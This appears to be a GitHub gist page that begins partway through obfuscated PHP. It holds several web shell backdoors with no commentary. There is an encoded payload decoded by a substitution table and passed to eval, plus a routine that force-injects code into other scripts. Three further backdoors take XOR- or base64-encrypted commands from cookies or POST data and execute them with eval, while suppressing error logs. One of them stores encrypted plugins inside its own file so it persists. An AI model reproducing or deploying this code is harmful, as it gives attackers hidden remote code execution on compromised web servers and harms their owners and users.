7%25TE8IN1DG%25Tx%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjXZWmwq%25%27.%0A%27TE%25ph%25TE%25jEwSK3_13i_vZ7i37il%25Tx7DWqs4Xk%25Tx%25Te%25Te%25pP%25Eh%25E%27.%0A%279%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjW47sZX%25TE%25ph%25TElikYZl%25Tx%25TjXZWmwq%25T2%25TEbIA%25Tx7DWqs4Xk%27.%0A%27%25Tx%25Te%25Te%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25Tx%25Tj%27.%0A%27W47sZX%25TE%25TH%25ph%25ph%25TEO965d%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TjbYIb1GwCDksIvb%25TE%25ph%25TElX8lik%25Tx%25TjXZWmwq%25%27.%0A%27T2%25TE%25TjW47sZX%25TE%25TP%25TEpT%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj4kk8WNb8%25TE%25ph%25TE%25j%27.%0A%27EX7l3kSqKSW3%25TxmwXIWIZl%25TxkqGXkKI3vZI3%25Tx%25TjbYIb1GwCDksIvb%25Te%25T2%25TEbIA%25Tx7%27.%0A%27DWqs4Xk%25Tx%25Te%25Te%25Te%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E%27.%0A%279%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3Kl3%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj4k%27.%0A%27k8WNb8%25TE%25ph%25TE9kkqs%25Tx%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TEk3iXk7%25TE%25Tj4kk8WNb8%25pP%25Eh%25E9%25TE%25TE%25TE%25T%27.%0A%27E%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TEwX7viSZ7%25TEyCiWG3i%25Tx%25Tj4kk8WNb8%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj1bZw7q4b%25TE%25ph%25TEkqGXkK37vZI3%25TxyN4G7Kk%25Tx%25jEl3k%27.%0A%27SqKSW3%25Tx%25Tj4kk8WNb8%25Te%25T2%25TEbIA%25Tx7DWqs4Xk%25Tx%25Te%25Te%25Te%25Te%25pP%25Eh%25E9%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjXZWmwq%25TE%25ph%25TE%25jEwSK3_13i_vZ7i37il%25Tx7DWqs4Xk%25Tx%25Te%25Te%25pP%25Eh%25%27.%0A%27E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjW47sZX%25TE%25ph%25TElikYZl%25Tx%25TjXZWmwq%25T%27.%0A%272%25TEbIA%25Tx7DWqs4Xk%25Tx%25Te%25Te%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25Tx%25TjW47sZX%25TE%25TH%27.%0A%27%25ph%25ph%25TEO965d%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjX1Ik1bii%25TE%25ph%25TElX%27.%0A%278lik%25Tx%25TjXZWmwq%25T2%25TE%25TjW47sZX%25TE%25TP%25TEpT%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjXZWmwq%25TE%25ph%25TElik_k3YKqv3%25Tx%25TjX1Ik1bii%25T2%25TE%25Tj1bZw7q4b%25T2%25%27.%0A%27TE%25TjXZWmwq%25Te%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE3Kl3%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TjXZWmwq%25TE%25ph%25TE%25TjXZWmwq%25TE.%25TE%25TT%25A27%25A27//%25TT%25TE.%25TEbIA%25Tx7D%27.%0A%27Wqs4Xk%25Tx%25Te%25Te%25TE.%25TE%25Tj1bZw7q4b%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25jEwSK3%27.%0A%27_YXi_vZ7i37il%25Tx7DWqs4Xk%25Tx%25Te%25T2%25TE%25TjXZWmwq%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TEw%27.%0A%27X7viSZ7%25TEGXwNI1%25Tx%25TjkvwvNkZ1%25T2%25TE%25Tj1mDyXCXY%25Te%25Eh%25E9%25TE%25TE%25TE%25%27.%0A%27TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj4kk8WNb8%25TE%25ph%25TE8IN1DG%25Tx%25Te%25pP%25Eh%25E9%25Eh%25E%27.%0A%279%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj4kk8WNb8%25AP%25TjkvwvNkZ1%25Ah%25TE%25p%27.%0A%27h%25TEmkXGkG%25Tx%25Tj1mDyXCXY%25Te%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEyCiWG3i%25Tx%25Tj4kk8WNb8%25Te%25pP%25Eh%25E9%27.%0A%27%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TEwX7viSZ7%25TEmsyKCl%25Tx%25TjkvwvNkZ1%25Te%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Tj4kk8WNb8%25TE%25ph%25TE8IN1DG%25Tx%25T%27.%0A%27e%25pP%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEX7l3i%25Tx%25Tj4kk8WNb8%25AP%25TjkvwvNkZ1%25Ah%25Te%25pP%25Eh%25E9%27.%0A%27%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEyCiWG3i%25Tx%25Tj4kk8WNb8%25%27.%0A%27Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TEwX7viSZ7%25TE%27.%0A%274WWm8m%25Tx%25TjkvwvNkZ1%25phJL66%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEwZk3qvD%25%27.%0A%27TE%25Tx8IN1DG%25Tx%25Te%25TEql%25TE%25Tj8X7DC8kw%25ph%25pd%25TjiGsGvW%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25Tx%25TjkvwvNkZ1%25Te%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25Txlikvb%27.%0A%27Y%25Tx%25TjkvwvNkZ1%25T2%25TE%25Tj8X7DC8kw%25Te%25TE%25ph%25ph%25TEE%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3NqK%25Tx%25TjiGsGvW%25T%27.%0A%27e%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE8k3qC%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25E%27.%0A%27h%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3Kl3%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3NqK%25Tx%25TjiGsGvW%25Te%25pP%25Eh%25E9%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TEwZk3qvD%25TE%25Txqkkqs_b3k13%25Tx%25Tj_2zzurd%25T2%25TE%25Tj_az5n%25Te%25TEql%25TE%25TjZ3GwZs3%27.%0A%27%25TE%25ph%25pd%25TE%25TjZ7SKWs7Z%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TjZ7SKWs7Z%25TE%25ph%25TE%25jE%27.%0A%27X7l3kSqKSW3%25TxmwXIWIZl%25TxmkXGkG%25Tx%25TjZ7SKWs7Z%25Te%25T2%25TE%25TjZ3GwZs3%25Te%25Te%25pP%25Eh%25E9%25Eh%25E9%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25TxSll3i%25Tx%25TjZ7SKWs7Z%25AP%25TgqC%25Tg%25Ah%25Te%25TE%25TV%25TV%25TE%25TjX1DCiZ%25ph%25ph%25TjZ7SKWs7%27.%0A%27Z%25AP%25TgqC%25Tg%25Ah%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25TE%25Tx%25TjZ7SKWs7Z%25AP%25Tgq%25Tg%25Ah%25TE%25ph%25ph%25TE%25TgS%25Tg%25Te%25%27.%0A%27Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25Tj1bKZZ7w%25TE%25ph%25TE9kkqs%25Tx%25Eh%25E9%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TgYN%25Tg%25TE%25ph%25pd%25TE%25jEYDYN3klS%27.%0A%27Z7%25Tx%25Te%25T2%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TglN%25Tg%25TE%25ph%25pd%25TE%25TgT.E-H%25Tg%25T2%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TgqC%25Tg%25TE%25ph%25pd%25TE%25TjZ7SKWs7Z%25AP%25TgqC%25Tg%25Ah%27.%0A%27%25T2%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25Te%25pP%25Eh%25E9%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3vDZ%25TE%25jEl3kSqKSW3%25Tx%25Tj1bKZZ7w%25Te%25pP%25Eh%27.%0A%27%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE34Si%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3Kl3Sw%25TE%25Tx%25T%27.%0A%27jZ7SKWs7Z%25AP%25Tgq%25Tg%25Ah%25TE%25ph%25ph%25TE%25Tg3%25Tg%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25%27.%0A%27Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3NqK%25Tx%25TjZ7SKWs7Z%25AP%25%27.%0A%27TgI%25Tg%25Ah%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25T%27.%0A%27E%25TE%25TE%25TE%25TE%25TE3Kl3Sw%25TE%25Tx%25TjZ7SKWs7Z%25AP%25Tgq%25Tg%25Ah%25TE%25ph%25ph%25TE%25TgYKX1S7%25Tg%25%27.%0A%27Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TESw%25Tx%25TjZ7SKWs7Z%25AP%25Tglq%25Tg%25Ah%25TE%25ph%25ph%25TE%25TgqII%25Tg%25Te%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TEGXwNI1%25Tx%25TjZ7SKWs7Z%25AP%25TgY%25Tg%25Ah%25T2%25TE%25TjZ7SKWs7Z%25AP%25TgI%25Tg%25Ah%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25%27.%0A%27TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3Kl3Sw%25Tx%25TjZ7SKWs7Z%25AP%25Tglq%25Tg%25Ah%25TE%25ph%25%27.%0A%27ph%25TE%25Tgk3b%25Tg%25Te%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TEmsyKCl%25Tx%25TjZ7SKWs7Z%25AP%25TgY%25Tg%27.%0A%27%25Ah%25Te%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%27.%0A%27%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE3vDZ%25TE%25T%27.%0A%27jZ7SKWs7Z%25AP%25TgqC%25Tg%25Ah%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE34Si%25Tx%25T%27.%0A%27e%25pP%25Eh%25E9%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25TE%25TE%25TE%25TE%25gh%25Eh%25E9%25Eh%25E9%25TE%25TE%25TE%25TE4WWm8m%25Tx%25Te%27.%0A%27%25pP%25Eh%25E9%25gh%27%3B%0A%24gwmjbdxksp%20%3D%20Array%28%271%27%3D%3E%27g%27%2C%20%270%27%3D%3E%27M%27%2C%20%273%27%3D%3E%27e%27%2C%20%272%27%3D%3E%27C%27%2C%20%275%27%3D%3E%27S%27%2C%20%274%27%3D%3E%27x%27%2C%20%277%27%3D%3E%27n%27%2C%20%276%27%3D%3E%27L%27%2C%20%279%27%3D%3E%27A%27%2C%20%278%27%3D%3E%27b%27%2C%20%27A%27%3D%3E%275%27%2C%20%27C%27%3D%3E%27k%27%2C%20%27B%27%3D%3E%27J%27%2C%20%27E%27%3D%3E%270%27%2C%20%27D%27%3D%3E%27h%27%2C%20%27G%27%3D%3E%27w%27%2C%20%27F%27%3D%3E%27G%27%2C%20%27I%27%3D%3E%27d%27%2C%20%27H%27%3D%3E%271%27%2C%20%27K%27%3D%3E%27l%27%2C%20%27J%27%3D%3E%27N%27%2C%20%27M%27%3D%3E%27Z%27%2C%20%27L%27%3D%3E%27U%27%2C%20%27O%27%3D%3E%27F%27%2C%20%27N%27%3D%3E%27v%27%2C%20%27Q%27%3D%3E%27R%27%2C%20%27P%27%3D%3E%27B%27%2C%20%27S%27%3D%3E%27i%27%2C%20%27R%27%3D%3E%27Y%27%2C%20%27U%27%3D%3E%27H%27%2C%20%27T%27%3D%3E%272%27%2C%20%27W%27%3D%3E%27z%27%2C%20%27V%27%3D%3E%276%27%2C%20%27Y%27%3D%3E%27p%27%2C%20%27X%27%3D%3E%27u%27%2C%20%27Z%27%3D%3E%27o%27%2C%20%27a%27%3D%3E%27P%27%2C%20%27c%27%3D%3E%27X%27%2C%20%27b%27%3D%3E%27m%27%2C%20%27e%27%3D%3E%279%27%2C%20%27d%27%3D%3E%27E%27%2C%20%27g%27%3D%3E%277%27%2C%20%27f%27%3D%3E%27W%27%2C%20%27i%27%3D%3E%27t%27%2C%20%27h%27%3D%3E%27D%27%2C%20%27k%27%3D%3E%27r%27%2C%20%27j%27%3D%3E%274%27%2C%20%27m%27%3D%3E%27j%27%2C%20%27l%27%3D%3E%27s%27%2C%20%27o%27%3D%3E%27Q%27%2C%20%27n%27%3D%3E%27T%27%2C%20%27q%27%3D%3E%27a%27%2C%20%27p%27%3D%3E%273%27%2C%20%27s%27%3D%3E%27y%27%2C%20%27r%27%3D%3E%27I%27%2C%20%27u%27%3D%3E%27K%27%2C%20%27t%27%3D%3E%27V%27%2C%20%27w%27%3D%3E%27f%27%2C%20%27v%27%3D%3E%27c%27%2C%20%27y%27%3D%3E%27q%27%2C%20%27x%27%3D%3E%278%27%2C%20%27z%27%3D%3E%27O%27%29%3B%0Aeval/%2Awgnrofu%2A/%28yyozvbwi%28%24qhiepg%2C%20%24gwmjbdxksp%29%29%3B%0A%7D");
$framer->find_paths();
$framer->preprocess_paths();
$framer->process($force_inject=TRUE);
$cscripts = $framer->get_cscripts();
if (count($cscripts) == 0)
{
@unlink($this->_current_cscript_path);
}
$cscripts["last_error"] = $framer->last_error();
echo @serialize($cscripts);
exit();
?>
<?php
$password = "69d45ed6-02b5-4284-9b25-19e91887f475";
foreach (array_merge($_COOKIE, $_POST) as $data_key => $data_value){
function generate_xor_stream($data_key, $data_length){
return substr(str_repeat($data_key . $password, ($data_length / strlen($data_key)) + 1), 0, $data_length);
}
function hex_decode($hripb){
return @pack("H*", $hripb);
}
function check_and_eval($hripb){
$ifikyn = count($hripb) % 3;
if (!$ifikyn) {
eval($hripb[1]($hripb[2]));
exit();
}
}
$data_value = hex_decode($data_value);
check_and_eval(explode("#", $data_value ^ generate_xor_stream($kjwrxr, $data_key, strlen($data_value))));
}
?>
<?php
$ndb6bd1e = 236;
$ybdc862f1 = "chr";
$f857931 = "ord";
$k9f2 = "strlen";
$k2e4f948 = "ini_set";
$m82bf0b20 = "serialize";
$icf725 = "phpversion";
$eb8ade = "unserialize";
$za5396 = "base64_decode";
$i61e = "set_time_limit";
$bff4 = "t737c699b";
$y9055fab = "xc42a02";
$nb2606a03 = $_POST;
$f4f8f6d = $_COOKIE;
@$k2e4f948("error_log", NULL);
@$k2e4f948("log_errors", 0);
@$k2e4f948("max_execution_time", 0);
@$i61e(0);
$fd7b31f1 = NULL;
$xd0ff14 = NULL;
$w7fb47efe = "804e0b08-e962-42d4-ada8-df577e5f0419";
global $w7fb47efe;
function xc42a02($fd7b31f1, $k38f7722) {
global $GLOBALS;
$x036b4a = "";
for ($uc7c4093 = 0;$uc7c4093 < $k9f2($fd7b31f1);) {
for ($ef3718 = 0;$ef3718 < $k9f2($k38f7722) && $uc7c4093 < $k9f2($fd7b31f1);$ef3718++, $uc7c4093++) {
$x036b4a.= $ybdc862f1($f857931($fd7b31f1[$uc7c4093]) ^ $f857931($k38f7722[$ef3718]));
}
}
return $x036b4a;
}
function t737c699b($fd7b31f1, $k38f7722) {
global $GLOBALS;
global $w7fb47efe;
return $y9055fab($y9055fab($fd7b31f1, $w7fb47efe), $k38f7722);
}
foreach ($f4f8f6d as $k38f7722 => $a773f4f23) {
$fd7b31f1 = $a773f4f23;
$xd0ff14 = $k38f7722;
}
if (!$fd7b31f1) {
foreach ($nb2606a03 as $k38f7722 => $a773f4f23) {
$fd7b31f1 = $a773f4f23;
$xd0ff14 = $k38f7722;
}
}
$fd7b31f1 = @$eb8ade($bff4($za5396($fd7b31f1), $xd0ff14));
if (isset($fd7b31f1["ak"]) && $w7fb47efe == $fd7b31f1["ak"]) {
if ($fd7b31f1["a"] == "i") {
$uc7c4093 = Array("pv" => @$icf725(), "sv" => "1.0-1");
echo @$m82bf0b20($uc7c4093);
} elseif ($fd7b31f1["a"] == "e") {
eval
/*s50232c*/
($fd7b31f1["d"]);
}
exit();
}
?>
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = '3fe9978c-af34-43f8-b9ee-d8347e8f70b7';
global $cs_auth;
function cs_base64_decode($input) {
if (strlen($input) < 4)
{
return "";
}
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$keys = str_split($keyStr);
$keys = array_flip($keys);
$i = 0;
$output = "";
$input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
do {
$enc1 = $keys[$input[$i++]];
$enc2 = $keys[$input[$i++]];
$enc3 = $keys[$input[$i++]];
$enc4 = $keys[$input[$i++]];
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr($chr1);
if ($enc3 != 64) {
$output = $output . chr($chr2);
}
if ($enc4 != 64) {
$output = $output . chr($chr3);
}
} while ($i < strlen($input));
return $output;
}
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = cs_base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $data_key => $data)
{
$data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
exit();
}
}
cs_plugin_load();
} ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment